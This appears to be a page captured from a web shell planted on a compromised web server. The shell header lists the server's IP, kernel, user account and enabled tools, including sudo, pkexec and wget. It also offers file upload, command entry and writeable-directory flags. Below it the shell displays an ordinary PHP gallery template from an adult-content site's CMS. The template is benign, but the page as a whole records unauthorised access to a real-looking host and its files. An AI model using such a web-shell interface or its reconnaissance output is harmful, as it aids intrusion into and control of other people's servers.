403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/classicscash.com/public_html/cms_admin/phptemplate/voderic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/classicscash.com/public_html/cms_admin/phptemplate/voderic/gallery_outside.tpl
<?php

/*

	PLEASE BACK UP FILE BEFORE EDITING!!!

	TEXT EDITING NOTE:
	All text can be edited inside the admin panel to preserve  multi-language site functionality. All tags prefixed with "$templatefields" can be edited inside the CMS admin panel.

	*/

// TODO: Test trial permissions

$pagename = "gallery";
$title = ($subsite) ? $subsite["Name"] : $templatefields["titletxtindex"];

$permission = 1;

if ($trial && $settype == "highres")
{
	if ( !in_array("0", $trial["accesspages"]) && !in_array($onpage, $trial["accesspages"]) && !in_array($set["Id"], $trial["allowrecent"]))
	{
		$permission = 0;
	}
}

$startpos = (($onpage-1)*$numperpage+1);
$endpos   = (($onpage)*$numperpage+1);

foreach
($mediatypes as $mediatype)
{
	if ($mediatype["FullVideo"] == 2 && $settype == $mediatype["Type"])
	{
		if (!isset($fullplay))
		{
			$fullplay = $mediatype;
		}
	}
}

$go = ( isset($movietabs[$settype])) ? 1 : 0;

$usetype = ($settype) ? $settype : key($media);

// Header
LoadTemplate("tour/header.tpl", ["pagename" => "gallery", "title" => $title, "seokey" => $set["SEOkey"], "seodesc" => $set["SEOdesc"]]);


?>

<!-- Start Trial Area Code - Only used if user is a trial user -->
<?php if (!$permission)
	{ ?>

<?php echo $templatefields["txtnopermission"]; ?>

<?php return; } ?>

<script>
function TrackDownload(id, cg, type, mt)
{
  spuu = [id, '', '', '', type, mt, cg]
  TrackContent(spuu);
  return true;
}
</script>

<?php if ($trial)
	{ ?>

<script>
	var plr = null;


	function replay(){
		document.getElementById('hpromo').style.display = 'none';
        document.getElementById('mediabox_parent').style.display = 'block';

		func_playerload(pxx)
	}

</script>

<?php } ?>
<!-- End Trial Code -->



<!--Title-->
<div class="title_bar">

	<!--Site Name-->
	<?php if ($subsite)
	{ ?>

	<!-- All Access Site List -->
	<?php if ($hubsite)
		{ ?>
		<a href="<?php echo $hubsite["URL"] ?>"><?php echo $hubsite["Name"] ?></a> /
	<?php } ?>

	<?php foreach
	($set["info"]["sites"] as $site_key => $site_value)
		{ ?>
		<?php if ($sites[$site_value] && $sites[$site_value]["LimitToSite"])
			{ ?>
			<a href="<?php echo $sites[$site_value]["URL"] ?>"><?php echo $sites[$site_value]["Name"] ?></a> / <?php continue; } ?>
		<?php } ?>
	<?php } ?>

	<span class="title_bar_hilite"><?php echo $set["Title"] ?></span>

</div>

<br />

<!-- Content Tabs -->
<div align="left">
	<?php LoadTemplate("gallery/content_tabs.tpl"); ?>
</div>

<br />

<!-- SHOW IF MOVIE -->

<?php if ($go)
		{ ?>

<!-- Page Navigation Numbers -->
<?php LoadTemplate("globals/pagenav.tpl"); ?>

<!-- Load Movie Player -->
<?php  LoadTemplate("gallery/movie_player.tpl"); ?>

<?php $c = -1;$count = 0;?>

<div class="gallery_info">

	<div class="table">
		<div class="row">

			<div class="cell update_date">
				<?php echo $set["date"] ?>
			</div>

			<div class="cell">
				<!-- User Rating Stars -->
				<?php if ($plugins["ratings"] && !$trial) { ?>
					<?php LoadTemplate("globals/votefrm.tpl", ["type" => "set", "object" => $set]); ?>
				<?php } ?>
			</div>

			<!-- Show Average Rating -->
			<div class="cell">
				<?php echo $templatefields["txtaveragerating"]; ?>:
				<?php echo sprintf("%.1f", ($set["plg_ratings_rank"] / $set["plg_ratings_total"] * 5)) ?>
			</div>

			<!-- Add/Remove From Favorites Link -->
			<?php if ($has_username)
			{ ?>
			<div class="cell">
			<?php LoadTemplate("template_sections/favorites_link.tpl"); ?>
			</div>
			<?php } ?>

		</div>
	</div>

	<!-- List Of Models -->
	<?php LoadTemplate("globals/model_list.tpl", ["set" => $set, "modellimit" => "2"]); ?>

	<!--Description-->
	<span class="update_description">
		<?php echo $set["Description"] ?>
	</span>

	<!-- Include File For List Of Parent DVDs -->
		<?php if (array_not_empty($set["info"]["dvds"]))
			{ ?>
			<span class="update_dvds">
				<?php LoadTemplate("globals/dvd_list.tpl", ["dvds" => $set["info"]["dvds"]]); ?>
			</span>
	<?php } ?>

	<br />
	<!-- List Of Keyword Tags -->
	<div class="update_tags">
		<?php LoadTemplate("globals/tag_list.tpl"); ?>
	</div>

	<!-- Suggest Keyword Tags if pro version CMS-->
	<?php if ($cms_pro)
			{ ?>
		<div class="suggest_tags">
			<?php LoadTemplate("gallery/suggest_tags.tpl"); ?>
		</div>
	<?php } ?>



<!-- Show Banner If Pro CMS Version and the Banners Plug-In is enabled and there's a banner set to this target zone -->
<div class="banner">
	<?php LoadTemplate("template_sections/banner.tpl", ["zone" => "gallery"]); ?>
</div>

<!-- Show individual video clips -->

<?php foreach
		($media[$settype] as $videogroup)
			{foreach
			($mediatypes as $cttype)
				{ if ($cttype["FullVideo"] != 0) continue;
				if (isset($videogroup[$cttype["Name"] . ":" . $cttype["Type"]]))
				{
?>
	<br />
	<!--Title-->
	<div class="title_bar"><?php echo $templatefields["txtindividualclips"]; ?></div>

<?php break 2;	}}}?>

<?php $c = -1; $count = 0;?>

<div class="video_clips_listing_block">

	<?php foreach
					($media[$usetype] as $k => $clip)
						{ ?>

		<?php $hasformat = 0; ?>

		<?php foreach
						($mediatypes as $cttype)
						{

							if (!$hasformat &&
								$clip[$cttype["Name"] . ":" . $cttype["Type"]]
								&& ($settype == $cttype["Type"]) && ($cttype["FullVideo"] == "0")
								&& ($c != $k)
							)
							{
								$c = $k;
								$hasformat = 1;
								$count++;
							}
						}


						if ($hasformat && ($count)>=$startpos && ($count)<$endpos)
							{ ?>

			<div class="video_clips_wrapper">
	  		<?php $ccount = $count + 1; ?>
				<?php LoadTemplate("globals/video_clip.tpl", ["clip" => $clip, "n" => $k, "pos" => ($count - 1)]); ?>
			</div>

		<?php } ?>

	<?php } ?>

	<?php echo ($count != 0) ? "</tr>" : "" ?>

</div>

<!-- Page Navigation Numbers -->
<?php LoadTemplate("globals/pagenav.tpl"); ?>

<?php } else
					{ ?>


<!-- SHOW IF PHOTO GALLERY -->

<!-- Page Navigation Numbers -->
<?php LoadTemplate("globals/pagenav.tpl"); ?>


<?php if (!empty($media[$settype])) { ?>

	<!-- Load Photo Viewer -->
	<?php LoadTemplate("gallery/photo_viewer.tpl"); ?>
	
	<div class="k">
	
		<?php $cnt = 0; ?>
		<?php foreach ($media[$settype] as $k => $photo) { ?>
			<?php if (($cnt+1) >= $startpos && ($cnt+1) < $endpos) { ?>
	
				<div class="photo_gallery_thumbnail_wrapper">
					<?php $tmpk = $cnt + $column; ?>
					<?php $slc = array_slice($media[$settype], $tmpk, 1); ?>
					<?php $slc = $slc[key($slc)]; ?>
	
					<?php if ($tmpk + 1 < $endpos && isset($slc))
									{ ?>
						<?php LoadTemplate("globals/showthumb.tpl", ["photo" => $slc, "n" => $k, "pos" => $tmpk]); ?>
					<?php } ?>
				</div>
	
			<?php } ?>
			<?php $cnt++; ?>
		<?php } ?>
	</div>
<?php } ?>

<!-- Page Navigation Numbers -->
<?php LoadTemplate("globals/pagenav.tpl"); ?>


<!-- Show Banner If Pro CMS Version and the Banners Plug-In is enabled and there's a banner set to this target zone -->
<div class="banner">
	<?php LoadTemplate("template_sections/banner.tpl", ["zone" => "gallery"]); ?>
</div>


<?php } ?>


<!-- Suggested Updates if Pro Version CMS -->
<?php if ($cms_pro && $relevant)
					{ ?>

<br />

<!--Title-->
<div class="title_bar"><?php echo $templatefields["txtupdatesyoumightlike"] ?></div>

<div class="category_listing_block">
	<?php foreach
					($relevant as $kex => $set)
						{ ?>
		<div class="category_listing_wrapper_updates">
			<?php LoadTemplate("template_sections/update_table.tpl", ["set" => $set]); ?>
		</div>
	<?php } ?>
</div>

<?php } ?>

<!--Comments  if Pro Version CMS-->
<?php if ($has_username && $plugins["comments"])
					{ ?>
<?php LoadTemplate("globals/comments.tpl", ["contenttype" => "sets", "itemid" => $set["Id"]]) ?>
<?php } ?>

<!--Footer-->
<?php include "tour/footer.tpl"; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit